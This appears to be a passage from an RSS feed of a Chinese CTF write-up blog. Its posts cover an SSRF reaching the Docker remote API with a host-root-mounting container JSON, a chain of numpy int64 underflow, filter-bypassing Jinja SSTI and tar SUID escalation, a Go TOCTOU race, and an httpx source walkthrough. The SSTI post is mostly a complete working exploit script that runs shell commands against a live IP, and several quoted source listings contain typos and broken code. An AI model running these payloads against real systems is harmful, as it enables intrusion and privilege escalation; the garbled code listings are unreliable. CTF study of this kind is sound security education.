&lt;p&gt;撰写一个poc，扫描绕过单点ssrf后的端口，探测到docker remote服务&lt;/p&gt;
&lt;p&gt;可以直接发json起服务，拿到flag&lt;/p&gt;
&lt;p&gt;简述下POC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;Image&quot;: &quot;busybox&quot;,
  &quot;Cmd&quot;: [&quot;/host/readflag&quot;],
  &quot;HostConfig&quot;: {
    &quot;Binds&quot;: [&quot;/:/host:ro&quot;]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，这点在不规范化请求的时候还蛮常见的&lt;/p&gt;
&lt;p&gt;那么，深入来说，到底是什么时间点，dns的解析发生了变化&lt;/p&gt;
&lt;p&gt;在服务器向dns服务商请求完ip之后，本地缓存TTL开始生效的时候，那个瞬间TCP连接还没有确立&lt;/p&gt;
&lt;p&gt;然后它再次检查的时候遇到了rebind，也就进行了重定向，&lt;/p&gt;
&lt;p&gt;至于为什么是两次，一次是DNS解析检查，第二次才是真正的HTTP&lt;/p&gt;
&lt;p&gt;也就是说，因为需要检查本地回环，它需要连续发两次解析请求，而TTL时间极短&lt;/p&gt;
&lt;p&gt;在这之中ip发生了重绑定，也就绕过了本地回环了block。&lt;/p&gt;
&lt;p&gt;也就是说，目标若在 check 和 connect 间再次解析域名，就给了 rebinding 时间窗口。&lt;/p&gt;
&lt;p&gt;当然，防范的理论也比较好说，第一次校验立即锁定ip即可，或者最终检查ip即可&lt;/p&gt;
&lt;p&gt;sora~~~~&lt;/p&gt;
&lt;p&gt;》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》&lt;/p&gt;
</content:encoded></item><item><title>SSRF-&gt;int64整数下溢到SSTI拼接再到SUID提权的一题</title><link>https://ymsora.com/posts/chuhui2026/</link><guid isPermaLink="true">https://ymsora.com/posts/chuhui2026/</guid><description>随笔随笔</description><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.SSRF-&amp;gt;int64整数下溢到SSTI拼接再到SUID提权的一题&lt;/h1&gt;
&lt;p&gt;单点链子的审计都不是很难，这里有点想作为python审计进阶的一部分，&lt;/p&gt;
&lt;p&gt;我会一部分一部分放出源码，直到最后串联，在这之中我会进行调试，&lt;/p&gt;
&lt;p&gt;保证过程的完整和可拓展性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request ,send_file, sessiom
import socket
import requests
import os
import bindascii
import uuid
import hashlib
import random
import numpy as np
from flask-limiter import Limiter

app = Flask(&quot;cyberproxy&quot;)#定义路由名字

BACKEND_PORT=5000 
app.config[&apos;SECRET_KEY&apos;] = binascii.hexlify(os.urandom(24)).decode(&apos;utf-8&apos;)

def get_client_id() -&amp;gt; str:
    if &apos;client_id&apos; not on session:
        session[&apos;client_id&apos;] = uuid.uuid4()
    return session[&apos;client_id&apos;]

limiter = Limter(app=app, key_fun=get_client_id,default_limits=[&apos;8/minute&apos;])
data_fragments = [&apos;ALPHA&apos;, &apos;BETA&apos;, &apos;GAMMA&apos;, &apos;DELTA&apos;, &apos;EPSILON&apos;, &apos;ZETA&apos;, &apos;ETA&apos;, &apos;THETA&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;起了一个后端的端口，然后转16进制，查看session，赋值uuid4这这些都是常规，然后就是limiter的限流器，先看看这里的debug参数&lt;/p&gt;
&lt;p&gt;放一些重点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;class &apos;int&apos;&amp;gt;, &amp;lt;class &apos;float&apos;&amp;gt;, &amp;lt;class &apos;complex&apos;&amp;gt;, &amp;lt;class &apos;bool&apos;&amp;gt;, &amp;lt;class &apos;bytes&apos;&amp;gt;, &amp;lt;class &apos;str&apos;&amp;gt;, &amp;lt;class &apos;memoryview&apos;&amp;gt;, &amp;lt;class &apos;numpy.bool&apos;&amp;gt;, &amp;lt;class &apos;numpy.complex64&apos;&amp;gt;, &amp;lt;class &apos;numpy.complex128&apos;&amp;gt;, &amp;lt;class &apos;numpy.clongdouble&apos;&amp;gt;, &amp;lt;class &apos;numpy.float16&apos;&amp;gt;, &amp;lt;class &apos;numpy.float32&apos;&amp;gt;, &amp;lt;class &apos;numpy.float64&apos;&amp;gt;, &amp;lt;class &apos;numpy.longdouble&apos;&amp;gt;, &amp;lt;class &apos;numpy.int8&apos;&amp;gt;, &amp;lt;class &apos;numpy.int16&apos;&amp;gt;, &amp;lt;class &apos;numpy.intc&apos;&amp;gt;, &amp;lt;class &apos;numpy.int32&apos;&amp;gt;, &amp;lt;class &apos;numpy.int64&apos;&amp;gt;, &amp;lt;class &apos;numpy.datetime64&apos;&amp;gt;, &amp;lt;class &apos;numpy.timedelta64&apos;&amp;gt;, &amp;lt;class &apos;numpy.object_&apos;&amp;gt;, &amp;lt;class &apos;numpy.bytes_&apos;&amp;gt;, &amp;lt;class &apos;numpy.str_&apos;&amp;gt;, &amp;lt;class &apos;numpy.uint8&apos;&amp;gt;, &amp;lt;class &apos;numpy.uint16&apos;&amp;gt;, &amp;lt;class &apos;numpy.uintc&apos;&amp;gt;, &amp;lt;class &apos;numpy.uint32&apos;&amp;gt;, &amp;lt;class &apos;numpy.uint64&apos;&amp;gt;, &amp;lt;class &apos;numpy.void&apos;&amp;gt;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的np是有int64的，在数据类型具有自我判断，也就是说我们可以打破这个判断边界，进行整数下溢的操作，再者是limiter限流器传参进&lt;/p&gt;
&lt;p&gt;然后是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.errorhandler(429)
def handle_exception(e):
    return &apos;\nConnection throttled. Try again later, choom.\n&apos;


def calculate_risk_factor():#风险因素计算
    base_risk = 0.8 / 100 #基础风险
    transaction_count = 0 #交易计数
    risk_increase_threshold = 63 #风险增加阈值  
    risk_peak_threshold = 85 #风险峰值阈值
    current_risk = base_risk #当前风险水平

    while True:
        transaction_count += 1#交易计数
        if transaction_count &amp;gt;= risk_increase_threshold and transaction_count &amp;lt; risk_peak_threshold:
            current_risk += 0.08
        if random.random() &amp;lt; current_risk:
            break
    return transaction_count
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;装饰器处理429报错，下面就是简单的函数算数逻辑，没什么好说的&lt;/p&gt;
&lt;p&gt;接下来是路由的审计&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/&apos;, methods=[&quot;GET&quot;])
def index():
    try:
        response = requests.get(f&apos;http://127.0.0.1:{BACKEND_PORT}/&apos;, cookies=request.cookies)
        return response.text, response.status_code, {&apos;Content-Type&apos;: response.headers.get(&apos;Content-Type&apos;, &apos;text/html&apos;)}
    except Exception as e:
        return f&quot;Backend service unavailable: {str(e)}&quot;, 503
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接连进内网的路由，但是没法访问其他的，看到e我又想拓展一下pyjail，那就来吧&lt;/p&gt;
&lt;p&gt;讲讲一个keyerror的逃逸，打一个简单服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/&apos;)
def main():
    x = request.get(&apos;tpl&apos;,{{e}})
    try:
        {}[&apos;x&apos;]
    except Exception as e:
        return render_template(&apos;index.html&apos;,e=e)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为{}[&apos;x&apos;]会抛出keyerror，元组不能调用取key的方法，&lt;/p&gt;
&lt;p&gt;因为keyerror是python的内建异常，可以进行{{ e.&lt;strong&gt;traceback&lt;/strong&gt;.tb_frame.f_globals }}绕过&lt;/p&gt;
&lt;p&gt;也是一种栈帧逃逸，在subclasses之类的函数被禁用的时候可以选择的路子&lt;/p&gt;
&lt;p&gt;和传统对象不同，异常对象多了个e.&lt;strong&gt;traceback&lt;/strong&gt;，强大的当前栈信息&lt;/p&gt;
&lt;p&gt;可以进行逃逸&lt;/p&gt;
&lt;p&gt;回到正题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/initialize&apos;)
def initialize():
    session[&apos;credits&apos;] = 0
    session[&apos;client_id&apos;] = uuid.uuid4()
    session[&apos;reputation&apos;] = 100
    limiter.reset()
    return &quot;Session initialized. Welcome to the darknet.&quot;


@app.route(&apos;/hack&apos;)
@limiter.limit(&quot;1/hour&quot;)
def earn_credits():
    earned = 0
    if &apos;amount&apos; in request.args:
        try:
            requested = int(request.args.get(&apos;amount&apos;))
            if requested &amp;lt; 100:
                earned = requested
            else:
                return &quot;Access denied: Excessive credit request flagged.&quot;
        except:
            return &quot;Invalid credit amount.&quot;

    current_credits = session.get(&apos;credits&apos;, 0)
    session[&apos;credits&apos;] = current_credits + earned
    return f&quot;Hack successful! Earned {earned} credits from corporate mainframe.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在/initialize，初始化session的各种值，把限流器reset。&lt;/p&gt;
&lt;p&gt;然后就将amount的值进行计算，初始的amount值必须在100以下，&lt;/p&gt;
&lt;p&gt;但是没有限制amount的最小值，我们看看另一个接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    credits = np.array(credits)
    transaction_cost = calculate_risk_factor() * 3500
    credits -= transaction_cost

    try:
        if credits &amp;lt; 0:
            result = &quot;Insufficient credits for this transaction.&quot;
        else:
            session[&apos;credits&apos;] = 0
            fragment_id = security_filter(fragment_id)
            result = &quot;Transaction blocked by security protocol.&quot;

            if fragment_id not in data_fragments:
                result = f&quot;Fragment &apos;{fragment_id}&apos; not found in market database.&quot;
            else:
                result = f&quot;Transaction complete! Acquired data fragment: {fragment_id}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里注意np这个库，也就是numpy，它的底层是c实现的，速度极快，&lt;/p&gt;
&lt;p&gt;它array的运算的性能高，但是它使用的是int类型，&lt;/p&gt;
&lt;p&gt;所以在使用numpy做校验的时候，一定需要注意整数下溢or上溢的问题&lt;/p&gt;
&lt;p&gt;相信各位肯定听过，因为在py做后端做鉴权的时候如果忽视了校验num溢出问题&lt;/p&gt;
&lt;p&gt;那么很容易进行逃逸，因为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; transaction_cost = calculate_risk_factor() * 3500
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以正常情况下绝对会amount&amp;lt;0&lt;/p&gt;
&lt;p&gt;但是使用整数下溢出，回环到极大值&lt;/p&gt;
&lt;p&gt;这样的话&lt;/p&gt;
&lt;p&gt;fragment_id = security_filter(fragment_id)&lt;/p&gt;
&lt;p&gt;可以直接进行服务器模板注入了，当然过滤了很多&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forbidden_patterns = [&apos;import&apos;, &apos;os&apos;, &apos;request&apos;, &apos;system&apos;, &apos;eval&apos;, &apos;exec&apos;, &apos;compile&apos;, &apos;args&apos;, &apos;__&apos;, &apos;[&apos;, &apos;]&apos;, &apos;\&apos;&apos;, &apos;&quot;&apos;, &apos;class&apos;, &apos;mro&apos;, &apos;locals&apos;, &apos;builtin&apos;, &apos;base&apos;, &apos;subclasses&apos;, &apos;{{&apos;, &apos;}}&apos;, &apos;.&apos;, &apos;list&apos;, &apos;*&apos;, &apos;_&apos;, &apos;[&apos;, &apos;]&apos;, &apos;\&apos;&apos;, &apos;&quot;&apos;, &apos;class&apos;, &apos;\\&apos;, &apos;args&apos;, &apos;os&apos;, &apos;request&apos;, &apos;system&apos;, &apos;eval&apos;, &apos;exec&apos;, &apos;*&apos;, &apos;_&apos;, &apos;[&apos;, &apos;]&apos;, &apos;\&apos;&apos;, &apos;&quot;&apos;, &apos;class&apos;, &apos;\\&apos; &apos;globals&apos;, &apos;builtin&apos;, &apos;base&apos;, &apos;sub&apos;, &apos;?&apos;, &apos;{{&apos;, &apos;}}&apos;, &apos;.&apos; ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候还是可以用用typhon的。&lt;/p&gt;
&lt;p&gt;又因为需要SUID提权，这里附上POC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re
import urllib.parse
import html

BASE = &quot;http://45.40.247.139:26381&quot;


def relay(raw: str) -&amp;gt; str:
    r = requests.post(
        f&quot;{BASE}/relay&quot;,
        data={&quot;port&quot;: &quot;5000&quot;, &quot;data&quot;: raw},
        timeout=20
    )
    return r.text


def parse_set_cookie(resp: str):
    m = re.search(r&quot;Set-Cookie:\s*session=([^;]+);&quot;, resp, re.I)
    return m.group(1) if m else None


def body_of(resp: str) -&amp;gt; str:
    parts = resp.split(&quot;\r\n\r\n&quot;, 1)
    if len(parts) == 2:
        return parts[1]
    parts = resp.split(&quot;\n\n&quot;, 1)
    return parts[1] if len(parts) == 2 else resp


def backend_init():
    raw = (
        &quot;GET /initialize HTTP/1.1\r\n&quot;
        &quot;Host: 127.0.0.1:5000\r\n&quot;
        &quot;Connection: close\r\n&quot;
        &quot;\r\n&quot;
    )
    resp = relay(raw)
    return parse_set_cookie(resp), body_of(resp)


def backend_hack(cookie: str):
    raw = (
        &quot;GET /hack?amount=-9223372036854775808 HTTP/1.1\r\n&quot;
        &quot;Host: 127.0.0.1:5000\r\n&quot;
        f&quot;Cookie: session={cookie}\r\n&quot;
        &quot;Connection: close\r\n&quot;
        &quot;\r\n&quot;
    )
    resp = relay(raw)
    return parse_set_cookie(resp), body_of(resp)


def backend_market(cookie: str, fragment: str):
    body = urllib.parse.urlencode({&quot;fragment&quot;: fragment})
    raw = (
        &quot;POST /market HTTP/1.1\r\n&quot;
        &quot;Host: 127.0.0.1:5000\r\n&quot;
        f&quot;Cookie: session={cookie}\r\n&quot;
        &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;
        f&quot;Content-Length: {len(body.encode())}\r\n&quot;
        &quot;Connection: close\r\n&quot;
        &quot;\r\n&quot;
        f&quot;{body}&quot;
    )
    resp = relay(raw)
    return body_of(resp)


def encode_char(ch: str) -&amp;gt; str:
    if ch.isalpha():
        c = ch.lower()
        return f&quot;(dict({c}=x)|join)&quot;
    if ch.isdigit():
        return ch
    if ch == &quot; &quot;:
        return &quot;sp&quot;
    if ch == &quot;/&quot;:
        return &quot;sl&quot;
    if ch == &quot;-&quot;:
        return &quot;da&quot;
    raise ValueError(f&quot;当前版本不支持这个字符: {ch!r}&quot;)


def cmd_expr(cmd: str) -&amp;gt; str:
    return &quot;~&quot;.join(encode_char(ch) for ch in cmd)


def make_payload(cmd: str) -&amp;gt; str:
    expr = cmd_expr(cmd)
    template = r&quot;&quot;&quot;
{%set x=1%}
{%set sp=lipsum|string|batch(10)|first|last%}
{%set uu=lipsum|string|batch(19)|first|last%}
{%set gg=(dict(g=x)|join)~(dict(l=x)|join)~(dict(o=x)|join)~(dict(b=x)|join)~(dict(a=x)|join)~(dict(l=x)|join)~(dict(s=x)|join)%}
{%set glv=uu~uu~gg~uu~uu%}
{%set gt=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)%}
{%set oo=(dict(o=x)|join)~(dict(s=x)|join)%}
{%set cwd=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(c=x)|join)~(dict(w=x)|join)~(dict(d=x)|join)%}
{%set pp=(dict(p=x)|join)~(dict(o=x)|join)~(dict(p=x)|join)~(dict(e=x)|join)~(dict(n=x)|join)%}
{%set rd=(dict(r=x)|join)~(dict(e=x)|join)~(dict(a=x)|join)~(dict(d=x)|join)%}
{%set da=(0-x)|string|first%}
{%set mm=lipsum|attr(glv)|attr(gt)(oo)%}
{%set sl=mm|attr(cwd)()|first%}
{%set cm=__CMD_EXPR__%}
{%print mm|attr(pp)(cm)|attr(rd)()%}
&quot;&quot;&quot;.strip()
    return template.replace(&quot;__CMD_EXPR__&quot;, expr)


def extract_stdout(html_text: str) -&amp;gt; str:
    m = re.search(r&quot;Fragment &apos;(.*)&apos; not found in market database\.&quot;, html_text, re.S)
    if m:
        return html.unescape(m.group(1))
    return html.unescape(html_text)


def run_cmd(cmd: str):
    init_cookie, init_body = backend_init()
    hack_cookie, hack_body = backend_hack(init_cookie)
    payload = make_payload(cmd)
    result_html = backend_market(hack_cookie, payload)
    result = extract_stdout(result_html)

    print(&quot;=&quot; * 80)
    print(&quot;[cmd]&quot;, cmd)
    print(&quot;[initialize]&quot;, init_body.strip())
    print(&quot;[hack]&quot;, hack_body.strip())
    print(&quot;[result]&quot;)
    print(result)
    print(&quot;=&quot; * 80)
    return result


if __name__ == &quot;__main__&quot;:
    # 第一次用这个：
    # CMD = &quot;tar -cf /tmp/f /flag&quot;

    # 第二次用这个：
    CMD = &quot;tar -x --to-stdout -f /tmp/f flag&quot;

    run_cmd(CMD)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里因为在suid程序中有tar，那就将flag解压到可读的目录，直接访问即可。&lt;/p&gt;
&lt;p&gt;在这里有个小插曲，也就是在limiter限流器进行审计的时候偶然发现了直接的SQL拼接&lt;/p&gt;
&lt;p&gt;也是提交了CVE&lt;/p&gt;
&lt;p&gt;好运好状态~~&lt;/p&gt;
</content:encoded></item><item><title>关于TGCTF2025一题的回顾</title><link>https://ymsora.com/posts/tgctf2025/</link><guid isPermaLink="true">https://ymsora.com/posts/tgctf2025/</guid><description>想想想想想</description><pubDate>Sat, 07 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;关于TGCTF2025一题的回顾&lt;/h1&gt;
&lt;p&gt;直接上源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;os&quot;
	&quot;path/filepath&quot;
	&quot;strings&quot;
	&quot;text/template&quot;
	&quot;time&quot;
)

type Note struct {
	Name       string
	ModTime    string
	Size       int64
	IsMarkdown bool
}

var templates = template.Must(template.ParseGlob(&quot;templates/*&quot;))

type PageData struct {
	Notes []Note
	Error string
}

// 检查路径是否合法
func blackJack(path string) error {

	if strings.Contains(path, &quot;..&quot;) || strings.Contains(path, &quot;/&quot;) || strings.Contains(path, &quot;flag&quot;) {
		return fmt.Errorf(&quot;非法路径&quot;)
	}

	return nil
}



// 渲染模板
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
	safe := templates.ExecuteTemplate(w, tmpl, data)
	if safe != nil {
		http.Error(w, safe.Error(), http.StatusInternalServerError)
	}
}

func renderTmplate(w http.ResponseWriter, tmpl string, data interface{}) {
	safe := templates.ExecutTemplate(w,tnpl,data)

// 渲染错误页面
func renderError(w http.ResponseWriter, message string, code int) {
	w.WriteHeader(code)
	templates.ExecuteTemplate(w, &quot;error.html&quot;, map[string]interface{}{
		&quot;Code&quot;:    code,
		&quot;Message&quot;: message,
	})
}

func main() {
	// 创建 notes 目录
	os.Mkdir(&quot;notes&quot;, 0755)

	safe := blackJack(&quot;/flag&quot;)

	// 首页路由
	http.HandleFunc(&quot;/&quot;, func(w http.ResponseWriter, r *http.Request) {
		files, safe := os.ReadDir(&quot;notes&quot;)
		if safe != nil {
			renderError(w, &quot;无法读取目录&quot;, http.StatusInternalServerError)
			return
		}

		var notes []Note
		for _, f := range files {
			if f.IsDir() {
				continue
			}

			info, _ := f.Info()
			notes = append(notes, Note{
				Name:       f.Name(),
				ModTime:    info.ModTime().Format(&quot;2006-01-02 15:04&quot;),
				Size:       info.Size(),
				IsMarkdown: strings.HasSuffix(f.Name(), &quot;.md&quot;),
			})
		}

		renderTemplate(w, &quot;index.html&quot;, PageData{Notes: notes})
	})
	
	// 读取笔记路由
	http.HandleFunc(&quot;/read&quot;, func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get(&quot;name&quot;)

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		file, safe := os.Open(filepath.Join(&quot;notes&quot;, name))
		if safe != nil {
			renderError(w, &quot;文件不存在&quot;, http.StatusNotFound)
			return
		}

		data, safe := io.ReadAll(io.LimitReader(file, 10240))
		if safe != nil {
			renderError(w, &quot;读取失败&quot;, http.StatusInternalServerError)
			return
		}

		if strings.HasSuffix(name, &quot;.md&quot;) {
			w.Header().Set(&quot;Content-Type&quot;, &quot;text/html&quot;)
			fmt.Fprintf(w, `&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css&quot;&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body class=&quot;markdown-body&quot;&amp;gt;%s&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;`, data)
		} else {
			w.Header().Set(&quot;Content-Type&quot;, &quot;text/plain&quot;)
			w.Write(data)
		}
	})

	// 写入笔记路由
	http.HandleFunc(&quot;/write&quot;, func(w http.ResponseWriter, r *http.Request) {
		if r.Method != &quot;POST&quot; {
			renderError(w, &quot;方法不允许&quot;, http.StatusMethodNotAllowed)
			return
		}

		name := r.FormValue(&quot;name&quot;)
		content := r.FormValue(&quot;content&quot;)

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		if r.FormValue(&quot;format&quot;) == &quot;markdown&quot; &amp;amp;&amp;amp; !strings.HasSuffix(name, &quot;.md&quot;) {
			name += &quot;.md&quot;
		} else {
			name += &quot;.txt&quot;
		}

		if len(content) &amp;gt; 10240 {
			content = content[:10240]
		}

		safe := os.WriteFile(filepath.Join(&quot;notes&quot;, name), []byte(content), 0600)
		if safe != nil {
			renderError(w, &quot;保存失败&quot;, http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, &quot;/&quot;, http.StatusSeeOther)
	})

	// 删除笔记路由
	http.HandleFunc(&quot;/delete&quot;, func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get(&quot;name&quot;)
		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		safe := os.Remove(filepath.Join(&quot;notes&quot;, name))
		if safe != nil {
			renderError(w, &quot;删除失败&quot;, http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, &quot;/&quot;, http.StatusSeeOther)
	})

	// 静态文件服务
	http.Handle(&quot;/static/&quot;, http.StripPrefix(&quot;/static/&quot;, http.FileServer(http.Dir(&quot;static&quot;))))

	// 启动 HTTP 服务器
	srv := &amp;amp;http.Server{
		Addr:         &quot;:9046&quot;,
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 15 * time.Second,
	}
	log.Fatal(srv.ListenAndServe())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分块讲解，这里定义的就是一个读文件的接口，没什么好说的，但是简单的代码藏坑最明显&lt;/p&gt;
&lt;p&gt;但是在讲漏洞点之前有必要学习一下go语言的一些特性并且与其他语言不同的部分&lt;/p&gt;
&lt;p&gt;再go的http模块是很鼓励并发的，并且他们也将并发的作用域控制的很好，在海象运算符的局部作用域下是很方便的&lt;/p&gt;
&lt;p&gt;但是我们看看这里对于flag路由的鉴权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if safe = blackJack(name); safe != nil {
		renderError(w, safe.Error(), http.StatusBadRequest)
		return
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这里是=，这是共享的外包变量而不是自己本进程的，也就是说可以进行TOCTOU.于是我们可以进行抢占safe&lt;/p&gt;
&lt;p&gt;覆盖之后就可以读出flag了。&lt;/p&gt;
</content:encoded></item><item><title>偶然探究httpx的easy链子，关于伪造data块的可能性</title><link>https://ymsora.com/posts/cutter/</link><guid isPermaLink="true">https://ymsora.com/posts/cutter/</guid><description>取材阿里云CTF的CUTTER</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;偶然探究httpx的easy链子，关于伪造data块的可能性&lt;/h1&gt;
&lt;p&gt;因为一些原因重新去看了一个题的源码，算是时隔好久了&lt;/p&gt;
&lt;p&gt;核心在于httpx。正常把库扒下来。接下来跟一根乱七八糟的api和参数&lt;/p&gt;
&lt;p&gt;很多时候是因为参数更迭的混乱导致审计的困难，&lt;/p&gt;
&lt;p&gt;但是好像随着时间的流逝，这点也慢慢学会了。&lt;/p&gt;
&lt;p&gt;有时候就是什么问题就一直想着看源码，忽视了很多搜集信息的渠道&lt;/p&gt;
&lt;p&gt;得稍微摆正自己的思维了&lt;/p&gt;
&lt;p&gt;简单跟一下源码，来吧&lt;/p&gt;
&lt;p&gt;我们先看看最前面的api逻辑。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def request(
    method: str,
    url: URL | str,
    *,
    params: QueryParamTypes | None = None,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    auth: AuthTypes | None = None,
    proxy: ProxyTypes | None = None,
    timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG,
    follow_redirects: bool = False,
    verify: ssl.SSLContext | str | bool = True,
    trust_env: bool = True,
) -&amp;gt; Response:
    &quot;&quot;&quot;
    Sends an HTTP request.

    **Parameters:**

    * **method** - HTTP method for the new `Request` object: `GET`, `OPTIONS`,
    `HEAD`, `POST`, `PUT`, `PATCH`, or `DELETE`.
    * **url** - URL for the new `Request` object.
    * **params** - *(optional)* Query parameters to include in the URL, as a
    string, dictionary, or sequence of two-tuples.
    * **content** - *(optional)* Binary content to include in the body of the
    request, as bytes or a byte iterator.
    * **data** - *(optional)* Form data to include in the body of the request,
    as a dictionary.
    * **files** - *(optional)* A dictionary of upload files to include in the
    body of the request.
    * **json** - *(optional)* A JSON serializable object to include in the body
    of the request.
    * **headers** - *(optional)* Dictionary of HTTP headers to include in the
    request.
    * **cookies** - *(optional)* Dictionary of Cookie items to include in the
    request.
    * **auth** - *(optional)* An authentication class to use when sending the
    request.
    * **proxy** - *(optional)* A proxy URL where all the traffic should be routed.
    * **timeout** - *(optional)* The timeout configuration to use when sending
    the request.
    * **follow_redirects** - *(optional)* Enables or disables HTTP redirects.
    * **verify** - *(optional)* Either `True` to use an SSL context with the
    default CA bundle, `False` to disable verification, or an instance of
    `ssl.SSLContext` to use a custom context.
    * **trust_env** - *(optional)* Enables or disables usage of environment
    variables for configuration.

    **Returns:** `Response`

    Usage:

    ```
    &amp;gt;&amp;gt;&amp;gt; import httpx
    &amp;gt;&amp;gt;&amp;gt; response = httpx.request(&apos;GET&apos;, &apos;https://httpbin.org/get&apos;)
    &amp;gt;&amp;gt;&amp;gt; response
    &amp;lt;Response [200 OK]&amp;gt;
    ```
    &quot;&quot;&quot;
    with Client(
        cookies=cookies,
        proxy=proxy,
        verify=verify,
        timeout=timeout,
        trust_env=trust_env,
    ) as client:
        return client.request(
            method=method,
            url=url,
            content=content,
            data=data,
            files=files,
            json=json,
            params=params,
            headers=headers,
            auth=auth,
            follow_redirects=follow_redirects,
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然初见参数很多，而且前面到入了其他的模块，先且不论，这里也就是正常规定了一个response&lt;/p&gt;
&lt;p&gt;跟着看看client的request方法，接收参数形式倒是默认的&lt;/p&gt;
&lt;p&gt;因为接收的参数很多，所以有时候会想多参数引用的边界，参数的规范真的对于代码可读性有非常大的影响&lt;/p&gt;
&lt;p&gt;继续跟进&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def request(
    self,
    method: str,
    url: URL | str,
    *,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    params: QueryParamTypes | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT,
    follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT,
    timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT,
    extensions: RequestExtensions | None = None,
) -&amp;gt; Response:
    &quot;&quot;&quot;
    Build and send a request.

    Equivalent to:

    ```python
    request = client.build_request(...)
    response = client.send(request, ...)
    ```

    See `Client.build_request()`, `Client.send()` and
    [Merging of configuration][0] for how the various parameters
    are merged with client-level configuration.

    [0]: /advanced/clients/#merging-of-configuration
    &quot;&quot;&quot;
    if cookies is not None:
        message = (
            &quot;Setting per-request cookies=&amp;lt;...&amp;gt; is being deprecated, because &quot;
            &quot;the expected behaviour on cookie persistence is ambiguous. Set &quot;
            &quot;cookies directly on the client instance instead.&quot;
        )
        warnings.warn(message, DeprecationWarning, stacklevel=2)

    request = self.build_request(
        method=method,
        url=url,
        content=content,
        data=data,
        files=files,
        json=json,
        params=params,
        headers=headers,
        cookies=cookies,
        timeout=timeout,
        extensions=extensions,
    )
    return self.send(request, auth=auth, follow_redirects=follow_redirects)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没啥都，直接看build_request&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def build_request(
    self,
    method: str,
    url: URL | str,
    *,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    params: QueryParamTypes | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT,
    extensions: RequestExtensions | None = None,
) -&amp;gt; Request:
    &quot;&quot;&quot;
    Build and return a request instance.

    * The `params`, `headers` and `cookies` arguments
    are merged with any values set on the client.
    * The `url` argument is merged with any `base_url` set on the client.

    See also: [Request instances][0]

    [0]: /advanced/clients/#request-instances
    &quot;&quot;&quot;
    url = self._merge_url(url)
    headers = self._merge_headers(headers)
    cookies = self._merge_cookies(cookies)
    params = self._merge_queryparams(params)
    extensions = {} if extensions is None else extensions
